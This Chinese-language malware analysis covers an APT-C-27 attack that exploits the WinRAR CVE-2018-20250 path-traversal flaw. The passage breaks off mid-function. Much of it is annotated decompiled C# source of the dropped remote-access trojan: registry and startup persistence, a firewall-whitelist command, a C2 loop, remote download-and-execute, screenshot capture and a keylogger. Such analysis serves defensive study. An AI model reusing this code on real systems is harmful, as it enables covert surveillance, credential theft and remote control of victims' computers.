前言:Exploit 与普通病毒的区别#
在分析样本之前,我们需要厘清“漏洞利用(Exploit)”与普通恶意软件的界限。
普通病毒通常依赖“社会工程学”——诱骗用户双击一个 .exe 文件。如果用户不点,病毒就无法运行。而 Exploit(漏洞利用) 则更加危险且隐蔽。它利用合法软件(如 WinRAR, Word, Chrome)自身的代码缺陷(漏洞)。你并没有运行任何可疑程序,只是像往常一样打开了一个文档或解压了一个压缩包。但因为处理这个文件的软件(如 WinRAR)本身存在逻辑缺陷(漏洞),就在你点击解压的那一瞬间,攻击代码就已经在后台悄无声息地执行了。
本文将分析著名的 APT-C-27(黄金鼠) 组织使用的攻击样本。它利用了 WinRAR 中一个沉睡了 19 年的陈旧代码库(UNACEV2.DLL),利用CVE-2018-20250 漏洞将木马植入受害者电脑的典型案例。
样本概览#
MD5: 314E8105F28530EB0BF54891B9B3FF69
SHA1: 8C9B88EE829B880E4AF8B7CD7DCCCC16FAA2E413
第一阶段:特洛伊木马的容器#
核心机制:恶意构造的 ACE 压缩包
样本表面上看起来是一个无害的压缩包(可能伪装成图片包或文档包),用户习惯性地使用 WinRAR 进行解压。

- 文件类型: ACE Archive (伪装成 RAR 扩展名)
- 利用漏洞: CVE-2018-20250 (WinRAR UNACEV2.DLL 路径穿越漏洞)
- 触发条件: 用户执行“解压到当前文件夹”或类似操作。
正常情况下,你把一个文件解压到桌面,它就应该在桌面。但这个压缩包被黑客修改过,它告诉 WinRAR:“请把我解压到桌面的同时,顺便把这个文件悄悄放到系统的‘启动’文件夹里去。” 由于 WinRAR 存在漏洞,它没有检查这个路径是否越界,直接照做了。

第二阶段:突破边界与精准投递#
核心行为:目录穿越
这是本样本作为 Exploit 最精彩的部分。攻击者并没有通过编写复杂的 Shellcode 来溢出内存,而是利用了逻辑漏洞。
路径穿越原理#
在正常的压缩包中,文件名是 1.docx。 但在恶意构造的 ACE 包中,文件名被修改为:C:\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Telegram Desktop.exe

漏洞成因#
WinRAR 在调用旧版的 UNACEV2.DLL 处理 ACE 格式时,没有对解压路径中的 ..\ 或绝对路径进行过滤。
- 预期行为:解压到
C:\Users\Admin\Desktop\Extracted\ - 实际行为:WinRAR 忽略了目标文件夹,直接按照压缩包内指定的绝对路径,将恶意文件
Telegram Desktop.exe写入到了 Windows 的 启动目录。
此时,用户在解压目录下可能只看到了一张无关紧要的图片(作为掩护),殊不知致命的木马已经绕过防御,部署到了开机自启位置。

第三阶段:触发与核心调度#
核心策略:重启即中招 + 高仿伪装
当受害者重启计算机时,位于启动目录的 Telegram Desktop.exe 被执行。此时,控制权交给了恶意代码的入口函数。

高仿伪装#
样本采用了极具欺骗性的伪装策略。
- 伪装对象:
Telegram Desktop.exe(流行的即时通讯软件)。 - 心理战术: 相比于伪装成陌生的系统服务,伪装成常用软件更能降低用户的警惕。当用户在启动项中看到 “Telegram Desktop” 时,往往会认为是自己安装的软件在自启动。
核心中枢:ko() 函数分析#
ko() 是该后门样本的主入口函数,它扮演着“指挥官”的角色,负责初始化环境、启动功能模块并维护自身运行。
public static void ko(){ // ========== 第一步:命令行参数检测+注册表标记 ========== if (Interaction.Command() != null) // 检测是否有命令行启动参数(如静默启动/更新) { try { // 写入注册表标记"di"="!":标记程序通过命令行启动,用于后续逻辑判断 OK.F.Registry.CurrentUser.SetValue("di", "!"); } catch (Exception ex) { // 静默捕获,不暴露启动参数处理失败 } Thread.Sleep(5000); // 延迟5秒:规避安全软件对“命令行启动后快速执行”的检测 }
// ========== 第二步:单实例运行(防多开暴露) ========== bool isFirstInstance = false; // 创建互斥体(Mutex):以OK.RG为唯一标识,确保仅一个恶意进程运行 OK.MT = new Mutex(true, OK.RG, ref isFirstInstance); if (!isFirstInstance) // 已有实例运行→直接退出,避免多进程暴露 { ProjectData.EndApp(); }
// ========== 第三步:启动持久化+自保护模块(INS) ========== OK.INS(); // 调用之前分析的INS函数:完成文件自复制、防火墙白名单、注册表/启动文件夹自启
// ========== 第四步:初始化恶意程序路径参数 ========== if (!OK.Idr) { OK.EXE = OK.LO.Name; // 重置恶意程序文件名 OK.DR = OK.LO.Directory.Name; // 重置恶意程序所在目录 }
// ========== 第五步:启动C2通信线程(RC) ========== // 新建线程启动RC函数(C2通信循环),栈大小1MB:降低资源占用,避免主线程阻塞 Thread thread = new Thread(new ThreadStart(OK.RC), 1); thread.Start();
// ========== 第六步:启动键盘记录线程(WRK) ========== try { OK.kq = new kl(); // 实例化键盘记录类(kl) thread = new Thread(new ThreadStart(OK.kq.WRK), 1); // 启动WRK键盘记录函数 thread.Start(); } catch (Exception ex2) { // 键盘记录启动失败不影响主流程:静默捕获,保证C2通信等核心功能运行 }
// ========== 第七步:系统事件监听(关机/注销收尾) ========== int num = 0; string lastActState = ""; if (OK.BD) // OK.BD为true时,监听系统会话结束事件 { try { // 注册SessionEnding事件(用户注销/系统关机):触发时调用OK.ED()收尾(清理痕迹) SystemEvents.SessionEnding += delegate(object a0, SessionEndingEventArgs a1) { OK.ED(); }; OK.pr(1); // 调整进程优先级(1=低优先级):降低CPU占用,规避检测 } catch (Exception ex3) { } }
// ========== 第八步:核心守护循环(无限运行,维护恶意状态) ========== checked { for (;;) // 无限循环:持续守护,直到进程被终止 { Thread.Sleep(1000); // 1秒延迟:极低CPU占用,用户/安全软件无感知 if (!OK.Cn) lastActState = ""; // C2断开时重置状态标记 Application.DoEvents(); // 处理消息循环,避免程序假死
try { num++; // 每5次循环:调整进程最小工作集,降低内存占用 if (num == 5) { try { // 限制进程最小工作集为1024字节:减少内存占用,规避“高内存可疑进程”检测 Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024; } catch (Exception ex4) { } }
// 每8次循环:检测系统激活状态,变化则上报C2 if (num >= 8) { num = 0; string currentActState = OK.ACT(); // 获取系统激活状态/恶意程序运行状态 if (Operators.CompareString(lastActState, currentActState, false) != 0) { lastActState = currentActState; OK.Send("act" + OK.Y + currentActState); // 向C2上报状态变化 } }
// 自修复:检查注册表自启项,被修改则重新写入(保证持久化不失效) if (OK.Isu) { try { // 检查HKCU自启项:被删除/修改则重新写入 if (Operators.ConditionalCompareObjectNotEqual( OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false)) { OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" .."); } } catch (Exception ex5) { } try { // 检查HKLM自启项:被删除/修改则重新写入(高权限尝试) if (Operators.ConditionalCompareObjectNotEqual( OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false)) { OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" .."); } } catch (Exception ex6) { } } } catch (Exception ex7) { // 守护循环异常不终止:静默捕获,保证恶意程序持续运行 } } }}根据逆向分析,ko() 的执行流程如下:
-
单实例互斥检测:
// 创建互斥体,防止多个木马实例同时运行暴露OK.MT = new Mutex(true, OK.RG, ref isFirstInstance);if (!isFirstInstance) ProjectData.EndApp(); -
调用安装模块 (INS): 调用
OK.INS()函数(详见后文),完成文件搬运、隐藏和注册表持久化设置。 -
启动多线程任务:
ko()并不直接执行恶意行为,而是创建多个线程并行工作,避免主程序卡死:- C2 通信线程:
new Thread(new ThreadStart(OK.RC))—— 负责连接服务器接收指令。 - 键盘记录线程:
new Thread(new ThreadStart(OK.kq.WRK))—— 负责后台记录按键。
- C2 通信线程:
-
无限守护循环: 这是
ko()函数最后也是最关键的部分。它进入一个for(;;)死循环,充当“守护进程”:- 心跳休眠:
Thread.Sleep(1000),降低 CPU 占用。 - 内存优化: 定期调整
MinWorkingSet,减少内存占用以隐藏踪迹。 - 注册表守护: 它会不断检测注册表自启项
HKCU\...\Run。如果用户或杀软删除了该启动项,ko()会立即重新写入,实现“删不掉”的顽固效果。
- 心跳休眠:
第四阶段:后门模块展开 (Payload)#
1. 持久化与隐藏:INS() 函数#
由 ko() 在初始化阶段调用。
- 自我复制: 将自身从显眼的“启动目录”复制到更隐蔽的系统目录(如
%AppData%)。
// 双重持久化:复制到系统启动文件夹(OK.IsF为true时执行) if (OK.IsF) { try { // Environment.GetFolderPath(7):对应「启动文件夹」(Environment.SpecialFolder.Startup 的枚举值为7) // 复制恶意程序到启动文件夹,覆盖已有文件,命名为OK.RG.exe File.Copy(OK.LO.FullName, Environment.GetFolderPath((Environment.SpecialFolder)7) + "\\" + OK.RG + ".exe", true); // 打开文件流(3=FileMode.Open):占用文件,防止被安全软件删除(自保护) OK.FS = new FileStream(Environment.GetFolderPath((Environment.SpecialFolder)7) + "\\" + OK.RG + ".exe", FileMode.Open); } }-
注册表操作:
// 持久化:写入注册表自启动项(OK.Isu为true时执行)if (OK.Isu){try{ // 写入HKCU(当前用户注册表):无需管理员权限,成功率高OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");}try{ // 尝试写入HKLM(本地机器注册表):需要管理员权限,失败则静默OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");}} -
防火墙穿透: 修改系统设置或添加防火墙白名单,确保 C2 流量不被拦截。
// 自保护:添加防火墙白名单(避免恶意程序被防火墙拦截) try { // 核心逻辑:执行cmd命令「netsh advfirewall firewall add allowedprogram "程序路径" "程序名" ENABLE」 // 关键混淆:"Exceptiona"是"netsh"的拼写篡改(规避安全软件对「netsh」的特征检测) Interaction.Shell(string.Concat(new string[] { "Exceptiona firewall add allowedprogram \"", OK.LO.FullName, "\" \"", OK.LO.Name, "\" ENABLE" }), 0, true, 5000); }2. 远程控制核心:RC() 与 Ind()#
这是木马的“耳朵”和“嘴巴”。
RC()(Remote Control): 维护与 C2 服务器的 TCP 连接。如果断开,它会尝试自动重连。
public static void RC(){ checked // 启用溢出检查(恶意代码常用,避免因数据溢出崩溃) { // 核心无限循环:永不退出,确保持续与C2服务器通信 for (;;) { OK.lastcap = ""; // 清空捕获的临时数据(混淆变量,无实际语义) // 检查是否已建立C2连接(OK.C是C2客户端对象,如Socket/TcpClient) if (OK.C != null) { long dataLength = -1L; // 存储待接收数据的总长度 int loopCount = 0; // 循环计数,用于延迟规避检测 try { for (;;) { IL_1B: // 跳转标签:简化循环逻辑,恶意代码常用混淆手段 loopCount++; // 每循环10次延迟1ms:规避安全软件对“高频循环”的行为检测 if (loopCount == 10) { loopCount = 0; Thread.Sleep(1); }
// 检查连接状态标记(OK.Cn=false表示连接断开),断开则退出内层循环 if (!OK.Cn) { break; }
// 检查C2连接的网络流是否有可读取数据 if (OK.C.Available < 1) { // 无数据时阻塞等待(Poll(-1,0)表示无限等待数据) OK.C.Client.Poll(-1, 0); }
// 有数据时,循环读取并解析 while (OK.C.Available != 0) { // 第一步:未解析出数据长度时(dataLength=-1),先读取长度 if (dataLength == -1L) { string lengthStr = ""; for (;;) { // 逐字节读取,直到读到0(自定义协议:长度字符串以0结尾) int byteData = OK.C.GetStream().ReadByte(); if (byteData == -1) // 流结束(连接断开) { goto Block_9; // 跳转到异常处理逻辑 } if (byteData == 0) // 长度字符串结束符 { break; } // 拼接长度字符串(混淆转换:ChrW转字符再转整数再转字符串,增加逆向难度) lengthStr += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(byteData).ToString())); }
// 将长度字符串转为长整型(表示后续要接收的指令/数据长度) dataLength = Conversions.ToLong(lengthStr); // 长度为0时,向C2服务器发送空响应,重置长度标记 if (dataLength == 0L) { OK.Send(""); dataLength = -1L; }
// 无后续数据则跳回循环开头 if (OK.C.Available <= 0) { goto IL_1B; } } // 第二步:已解析出数据长度,读取对应字节数据 else { // 创建字节数组,长度为“剩余待接收数据长度”(避免内存溢出) OK.b = new byte[OK.C.Available + 1]; long remainingLength = dataLength - OK.MeM.Length; if (unchecked((long)OK.b.Length) > remainingLength) { OK.b = new byte[(int)(remainingLength - 1L) + 1]; }
// 从C2连接读取数据到字节数组 int readBytes = OK.C.Client.Receive(OK.b, 0, OK.b.Length, 0); // 将读取的数据写入内存流(临时存储完整指令/数据) OK.MeM.Write(OK.b, 0, readBytes);
// 数据接收完成(内存流长度=预设长度) if (OK.MeM.Length == dataLength) { dataLength = -1L; // 重置长度标记 // 新建线程异步执行指令(避免阻塞通信循环) Thread thread = new Thread(delegate(object a0) { // OK.Ind是核心指令执行方法(接收字节数组,解析并执行恶意指令) OK.Ind((byte[])a0); }, 1); // 线程栈大小设为1MB,规避检测 thread.Start(OK.MeM.ToArray()); // 传入完整数据 thread.Join(100); // 等待线程执行100ms,不阻塞主线程
// 清理内存流,准备接收下一条指令 OK.MeM.Dispose(); OK.MeM = new MemoryStream(); } goto IL_1B; // 跳回循环开头,继续接收数据 } } break; // 无数据时退出while循环 } Block_9:; // 连接断开时的跳转标记 } catch (Exception ex) { // 静默捕获所有异常:无日志、无提示,避免暴露C2通信行为 } }
// 连接断开后的清理+自动重连逻辑 do { try { // 清理插件/钩子对象(OK.PLG):避免残留被安全软件检测 if (OK.PLG != null) { // 反射调用clear方法:混淆调用方式,规避特征检测 NewLateBinding.LateCall(OK.PLG, null, "clear", new object[0], null, null, null, true); OK.PLG = null; } } catch (Exception ex2) { // 静默捕获异常 } OK.Cn = false; // 标记连接断开 } // 循环调用OK.connect()重连C2服务器,直到重连成功 while (!OK.connect());
OK.Cn = true; // 重连成功,恢复连接状态标记 } }}-
Ind()(Instruction Dispatcher): 接收并解析黑客的指令。支持的功能包括:rn(Run): 下载并执行勒索病毒或其他木马。kl(Keylog): 上传窃取的键盘记录。up(Update): 自我更新。un(Uninstall): 自我卸载(清除痕迹)。
public static void Ind(byte[] b){// 1. 前置处理:解密/解码字节数组b,按分隔符OK.Y拆分为指令参数数组string[] array = Strings.Split(OK.BS(ref b), OK.Y, -1, 0);checked{try{string cmdType = array[0]; // 指令类型(核心标识)// ========== 指令分支1:ll - 断开C2连接 ==========if (Operators.CompareString(cmdType, "ll", false) == 0){OK.Cn = false; // 标记C2连接断开(RC函数会检测该标记并重连)}// ========== 指令分支2:kl - 回传日志数据 ==========else if (Operators.CompareString(cmdType, "kl", false) == 0){// OK.ENB:加密/编码日志数据;OK.Send:向C2回传数据OK.Send("kl" + OK.Y + OK.ENB(ref OK.kq.Logs));}// ========== 指令分支3:prof - 注册表操作(写入/读取/删除) ==========else if (Operators.CompareString(cmdType, "prof", false) == 0){string subCmd = array[1];if (subCmd == "~") // 子指令~:写入注册表{// 调用之前分析的STV函数,写入注册表键值(类型1=String)OK.STV(array[2], array[3], 1);}else if (subCmd == "!") // 子指令!:写入+读取注册表并回传{OK.STV(array[2], array[3], 1);// OK.GTV:读取注册表值;回传读取结果到C2OK.Send($"getvalue{OK.Y}{array[1]}{OK.Y}{OK.GTV(array[1], "")}");}else if (subCmd == "@") // 子指令@:删除注册表值{OK.DLV(array[2]); // DLV=Delete Registry Value,删除指定注册表项}}// ========== 指令分支4:rn - 远程下载并执行文件(核心恶意行为) ==========else if (Operators.CompareString(cmdType, "rn", false) == 0){byte[] fileData;// 场景1:array[2]首字符是\u001f(自定义标记),从字节数组中提取加密数据并解压if (array[2][0] == '\u001f'){try{MemoryStream ms = new MemoryStream();int skipLen = (array[0] + OK.Y + array[1] + OK.Y).Length;ms.Write(b, skipLen, b.Length - skipLen);fileData = OK.ZIP(ms.ToArray()); // ZIP=解压/解密数据}catch{OK.Send("MSG" + OK.Y + "Execute ERROR"); // 向C2反馈执行失败OK.Send("bla");return;}}// 场景2:从远程URL下载文件(WebClient下载)else{WebClient wc = new WebClient();try{fileData = wc.DownloadData(array[2]); // 下载恶意文件}catch{OK.Send("MSG" + OK.Y + "Download ERROR");OK.Send("bla");return;}}OK.Send("bla"); // 固定反馈,用于心跳/确认// 将恶意文件写入临时目录,命名为“随机临时文件.参数后缀”string tempPath = Path.GetTempFileName() + "." + array[1];try{File.WriteAllBytes(tempPath, fileData); // 写入恶意文件Process.Start(tempPath); // 执行文件(如木马、勒索程序、挖矿程序)OK.Send($"MSG{OK.Y}Executed As {new FileInfo(tempPath).Name}"); // 反馈执行成功}catch (Exception ex){OK.Send($"MSG{OK.Y}Execute ERROR {ex.Message}"); // 反馈执行失败}}// ========== 指令分支5:inv - 加载恶意插件并执行 ==========else if (Operators.CompareString(cmdType, "inv", false) == 0){// 从注册表读取插件数据(无数据则返回空字节数组)byte[] pluginData = (byte[])OK.GTV(array[1], new byte[0]);// 无插件数据且参数长度不足:向C2反馈异常if (array[3].Length < 10 && pluginData.Length == 0){OK.Send($"pl{OK.Y}{array[1]}{OK.Y}1");}else{// 参数长度足够:从字节数组提取并解压插件数据,写入注册表存储if (array[3].Length > 10){MemoryStream ms = new MemoryStream();int skipLen = $"{array[0]}{OK.Y}{array[1]}{OK.Y}{array[2]}{OK.Y}".Length;ms.Write(b, skipLen, b.Length - skipLen);pluginData = OK.ZIP(ms.ToArray());OK.STV(array[1], pluginData, 3); // 3=Binary类型,写入注册表}OK.Send($"pl{OK.Y}{array[1]}{OK.Y}0"); // 反馈插件加载准备完成// 加载插件(OK.Plugin:反射加载插件程序集)object plugin = RuntimeHelpers.GetObjectValue(OK.Plugin(pluginData, "A"));// 反射设置插件参数(H/P/osk:混淆变量,可能是C2地址/端口/密钥)NewLateBinding.LateSet(plugin, null, "h", new object[] { OK.H }, null, null);NewLateBinding.LateSet(plugin, null, "p", new object[] { OK.P }, null, null);NewLateBinding.LateSet(plugin, null, "osk", new object[] { array[2] }, null, null);// 启动插件(执行插件的start方法)NewLateBinding.LateCall(plugin, null, "start", new object[0], null, null, null, true);// 循环等待插件执行完成/连接断开while (!(!OK.Cn || (NewLateBinding.LateGet(plugin, null, "Off", new object[0], null, null, null) == true))){Thread.Sleep(1);}// 停止插件NewLateBinding.LateSet(plugin, null, "off", new object[] { true }, null, null);}}// ========== 指令分支6:ret - 加载插件并回传执行结果 ==========else if (Operators.CompareString(cmdType, "ret", false) == 0){byte[] pluginData = (byte[])OK.GTV(array[1], new byte[0]);if (array[2].Length < 10 && pluginData.Length == 0){OK.Send($"pl{OK.Y}{array[1]}{OK.Y}1");}else{// 提取并解压插件数据,写入注册表if (array[2].Length > 10){MemoryStream ms = new MemoryStream();int skipLen = $"{array[0]}{OK.Y}{array[1]}{OK.Y}".Length;ms.Write(b, skipLen, b.Length - skipLen);pluginData = OK.ZIP(ms.ToArray());OK.STV(array[1], pluginData, 3);}OK.Send($"pl{OK.Y}{array[1]}{OK.Y}0");// 加载插件并调用GT方法获取结果,加密后回传C2object plugin = RuntimeHelpers.GetObjectValue(OK.Plugin(pluginData, "A"));string pluginResult = Conversions.ToString(NewLateBinding.LateGet(plugin, null, "GT", new object[0], null, null, null));OK.Send($"ret{OK.Y}{array[1]}{OK.Y}{OK.ENB(ref pluginResult)}");}}// ========== 指令分支7:CAP - 屏幕截图并回传(免重复截图) ==========else if (Operators.CompareString(cmdType, "CAP", false) == 0){// 获取屏幕分辨率,创建位图(截图画布)int screenWidth = Screen.PrimaryScreen.Bounds.Width;int screenHeight = Screen.PrimaryScreen.Bounds.Height;Bitmap fullScreenshot = new Bitmap(screenWidth, screenHeight);Graphics g = Graphics.FromImage(fullScreenshot);// 截取整个屏幕g.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));// 尝试绘制鼠标光标(提升截图完整性)try{Cursor.Default.Draw(g, new Rectangle(Cursor.Position, new Size(32, 32)));}catch { }g.Dispose();// 按参数缩放截图(array[1]=宽度,array[2]=高度)Bitmap scaledScreenshot = new Bitmap(int.Parse(array[1]), int.Parse(array[2]));g = Graphics.FromImage(scaledScreenshot);g.DrawImage(fullScreenshot, 0, 0, scaledScreenshot.Width, scaledScreenshot.Height);g.Dispose();// 处理截图:避免重复回传(MD5对比lastcap)MemoryStream ms = new MemoryStream();MemoryStream jpegMs = new MemoryStream();scaledScreenshot.Save(jpegMs, ImageFormat.Jpeg);string screenshotMd5 = OK.md5(jpegMs.ToArray());// 截图不同则回传,相同则仅传空标记if (screenshotMd5 != OK.lastcap){OK.lastcap = screenshotMd5;ms.Write(OK.SB(ref $"CAP{OK.Y}"), 0, b.Length); // 拼接标识ms.Write(jpegMs.ToArray(), 0, (int)jpegMs.Length);}else{ms.WriteByte(0);}OK.Sendb(ms.ToArray()); // 二进制回传截图数据到C2// 清理资源(避免内存泄漏)ms.Dispose(); jpegMs.Dispose(); fullScreenshot.Dispose(); scaledScreenshot.Dispose();}// ========== 指令分支8:un - 自操作(卸载/退出/重启) ==========else if (Operators.CompareString(cmdType, "un", false) == 0){string subCmd = array[1];if (subCmd == "~") OK.UNS(); // UNS:自卸载(删除自身文件/注册表痕迹)else if (subCmd == "!") // 强制退出{OK.pr(0); // 清理进程资源ProjectData.EndApp(); // 终止程序}else if (subCmd == "@") // 重启自身{OK.pr(0);Process.Start(OK.LO.FullName); // 启动恶意程序副本ProjectData.EndApp(); // 终止当前进程}}// ========== 指令分支9:up - 自更新(下载新版本恶意程序) ==========else if (Operators.CompareString(cmdType, "up", false) == 0){byte[] updateData;// 场景1:从字节数组提取加密更新包if (array[1][0] == '\u001f'){try{MemoryStream ms = new MemoryStream();int skipLen = $"{array[0]}{OK.Y}".Length;ms.Write(b, skipLen, b.Length - skipLen);updateData = OK.ZIP(ms.ToArray());}catch{OK.Send("MSG" + OK.Y + "Update ERROR");OK.Send("bla");return;}}// 场景2:从远程URL下载更新包else{WebClient wc = new WebClient();try{updateData = wc.DownloadData(array[1]);}catch{OK.Send("MSG" + OK.Y + "Update ERROR");OK.Send("bla");return;}}OK.Send("bla");string tempExe = Path.GetTempFileName() + ".exe"; // 临时更新文件try{OK.Send($"MSG{OK.Y}Updating To {new FileInfo(tempExe).Name}");Thread.Sleep(2000); // 延迟规避检测File.WriteAllBytes(tempExe, updateData); // 写入新恶意程序Process.Start(tempExe, ".."); // 启动新版本}catch (Exception ex){OK.Send($"MSG{OK.Y}Update ERROR {ex.Message}");}OK.UNS(); // 卸载旧版本}// ========== 指令分支10:Ex - 转发指令到已加载的插件 ==========else if (Operators.CompareString(cmdType, "Ex", false) == 0){if (OK.PLG == null) // 无插件则等待加载{OK.Send("PLG");int waitCount = 0;while (OK.PLG == null && waitCount < 20 && OK.Cn){waitCount++;Thread.Sleep(1000);}if (OK.PLG == null || !OK.Cn) return;}// 反射调用插件的ind方法,转发指令字节数组object[] args = new object[] { b };bool[] isRef = new bool[] { true };NewLateBinding.LateCall(OK.PLG, null, "ind", args, null, null, isRef, true);// 接收插件返回的字节数组if (isRef[0]) b = (byte[])args[0];}// ========== 指令分支11:PLG - 加载恶意插件(扩展功能) ==========else if (Operators.CompareString(cmdType, "PLG", false) == 0){// 提取并解压插件数据MemoryStream ms = new MemoryStream();int skipLen = $"{array[0]}{OK.Y}".Length;ms.Write(b, skipLen, b.Length - skipLen);byte[] pluginData = OK.ZIP(ms.ToArray());// 加载插件并设置核心参数(C2连接、地址、端口)OK.PLG = RuntimeHelpers.GetObjectValue(OK.Plugin(pluginData, "A"));NewLateBinding.LateSet(OK.PLG, null, "H", new object[] { OK.H }, null, null);NewLateBinding.LateSet(OK.PLG, null, "P", new object[] { OK.P }, null, null);NewLateBinding.LateSet(OK.PLG, null, "c", new object[] { OK.C }, null, null);}}catch (Exception ex){// 异常处理:插件相关指令出错则清空插件,向C2反馈错误信息if (array.Length > 0 && (array[0] == "Ex" || array[0] == "PLG")) OK.PLG = null;try{OK.Send($"ER{OK.Y}{array[0]}{OK.Y}{ex.Message}"); // 回传错误信息到C2}catch { }}}}
3. 间谍行为:WRK() 与 Inf()#
WRK()(Keylogger): 利用GetAsyncKeyStateAPI 轮询键盘状态,记录用户输入的所有账号密码和聊天记录。
public void WRK(){ // 初始化:从注册表读取历史键盘日志(this.vn是注册表键名,OK.GTV=读取注册表值) this.Logs = Conversions.ToString(OK.GTV(this.vn, "")); checked // 启用溢出检查,避免日志拼接时内存溢出导致程序崩溃 { try { int loopCount = 0; // 循环计数器,用于定期清理/存储日志 // 核心无限循环:永不退出,持续监听按键 for (;;) { loopCount++; int keyCode = 0; // 按键码(0-255覆盖所有常用键盘按键) do { // ========== 核心:检测按键是否被按下 ========== // kl.GetAsyncKeyState(num2):检测指定按键码的按键状态(-32767=按下) // !OK.F.Keyboard.CtrlKeyDown:排除Ctrl键按下的场景(避免误记录快捷键/规避检测) if (kl.GetAsyncKeyState(keyCode) == -32767 & !OK.F.Keyboard.CtrlKeyDown) { Keys pressedKey = (Keys)keyCode; // 转换为Keys枚举(如Enter、A、1等) string keyText = this.Fix(pressedKey); // 格式化按键(如Enter→[Enter]、空格→[Space])
if (keyText.Length > 0) // 过滤无效按键 { this.Logs += this.AV(); // AV():可能是添加时间戳/分隔符(如[2026-01-18 10:00]) this.Logs += keyText; // 拼接按键内容到日志 } this.lastKey = pressedKey; // 记录最后一次按下的键(避免重复记录) } keyCode++; // 遍历所有按键码(0-255) } while (keyCode <= 255); // 覆盖所有键盘按键(字母、数字、特殊键、功能键)
// ========== 定期清理+持久化日志(每1000次循环执行) ========== if (loopCount == 1000) { loopCount = 0; // 重置计数器 // 限制日志大小:20KB(20*1024字节),避免日志过大触发安全检测 int maxLogSize = Conversions.ToInteger("20") * 1024; if (this.Logs.Length > maxLogSize) { // 截断日志:仅保留最后maxLogSize长度的内容,删除早期日志 this.Logs = this.Logs.Remove(0, this.Logs.Length - maxLogSize); } // 持久化:调用STV函数将日志写入注册表(类型1=String) OK.STV(this.vn, this.Logs, 1); }
Thread.Sleep(1); // 1ms延迟:降低CPU占用,规避“高CPU占用”的行为检测 } } catch (Exception ex) { // 静默捕获所有异常:无日志、无弹窗、无错误提示,用户完全无感知 } }}Inf()(Info Stealer): 搜集受害者的指纹信息(操作系统、用户名、安装的杀毒软件列表、摄像头有无),帮助攻击者评估目标价值。
public static string inf(){ // 初始化信息串:以"ll"+自定义分隔符OK.Y开头(指令标识+分隔符) string infoStr = "ll" + OK.Y;
try { // ========== 第一步:采集设备唯一标识(硬件ID+注册表版本值,加密) ========== if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", false)) { // 场景1:注册表"vn"值为空 → 解密OK.VN + 硬件唯一标识(OK.HWD) string encryptedId = OK.DEB(ref OK.VN) + "_" + OK.HWD(); // OK.HWD=获取硬件ID(如主板/硬盘序列号) infoStr += OK.ENB(ref encryptedId) + OK.Y; // OK.ENB=加密后拼接 } else { // 场景2:注册表"vn"值非空 → 读取并解密vn值 + 硬件ID,加密拼接 string vnValue = Conversions.ToString(OK.GTV("vn", "")); // 读注册表"vn"值 string encryptedId = OK.DEB(ref vnValue) + "_" + OK.HWD(); infoStr += OK.ENB(ref encryptedId) + OK.Y; } } catch (Exception ex) { // 采集失败:仅用硬件ID加密补充,不中断流程 string encryptedHwd = OK.HWD(); infoStr += OK.ENB(ref encryptedHwd) + OK.Y; }
// ========== 第二步:采集机器名(失败填??) ========== try { infoStr += Environment.MachineName + OK.Y; // 受害主机的计算机名(如DESKTOP-XXXX) } catch (Exception ex2) { infoStr += "??" + OK.Y; // 采集失败填充占位符,保证数据结构完整 }
// ========== 第三步:采集当前登录用户名(失败填??) ========== try { infoStr += Environment.UserName + OK.Y; // 受害用户账号(如Administrator/张三) } catch (Exception ex3) { infoStr += "??" + OK.Y; }
// ========== 第四步:采集恶意程序最后修改时间(失败填??-??-??) ========== try { // OK.LO=恶意程序自身的FileInfo对象,采集最后修改日期(用于确认程序是否被篡改) infoStr += OK.LO.LastWriteTime.Date.ToString("yy-MM-dd") + OK.Y; } catch (Exception ex4) { infoStr += "??-??-??" + OK.Y; }
infoStr += "" + OK.Y; // 填充空字段,保持分隔符结构一致
// ========== 第五步:采集系统版本(精简字符串,规避特征检测) ========== try { // 关键操作:替换系统版本关键词,规避安全软件特征检测 string osName = OK.F.Info.OSFullName .Replace("Microsoft", "") // 移除"Microsoft",避免特征匹配 .Replace("Windows", "Win") // 替换为Win,混淆特征 .Replace("®", "") // 移除版权符号 .Replace("™", "") // 移除商标符号 .Replace(" ", " ") // 去多余空格 .Replace(" Win", "Win"); // 精简空格 infoStr += osName; } catch (Exception ex5) { infoStr += "??"; }
// ========== 第六步:采集系统Service Pack版本(失败填0) ========== infoStr += "SP"; try { string[] spArray = Strings.Split(Environment.OSVersion.ServicePack, " ", -1, 0); if (spArray.Length == 1) infoStr += "0"; // 无SP则填0 infoStr += spArray[spArray.Length - 1]; // 取SP版本号(如SP1→1) } catch (Exception ex6) { infoStr += "0"; }
// ========== 第七步:采集系统位数(x86/x64,失败仅加分隔符) ========== try { // Environment.SpecialFolder.ProgramFilesX86 = 38 → 该路径含x86表示64位系统 if (Environment.GetFolderPath((Environment.SpecialFolder)38).Contains("x86")) { infoStr += " x64" + OK.Y; } else { infoStr += " x86" + OK.Y; } } catch (Exception ex7) { infoStr += OK.Y; }
// ========== 第八步:检测摄像头是否存在(Yes/No) ========== if (OK.Cam()) // OK.Cam():检测主机是否有摄像头(用于后续屏幕监控/偷拍) { infoStr += "Yes" + OK.Y; } else { infoStr += "No" + OK.Y; }
// ========== 第九步:拼接额外配置/状态信息 ========== infoStr += OK.VR + OK.Y; // OK.VR:可能是屏幕分辨率/程序版本号 infoStr += ".." + OK.Y; // 固定占位符,保持格式统一 infoStr += OK.ACT() + OK.Y; // OK.ACT():可能是系统激活状态/恶意程序激活状态
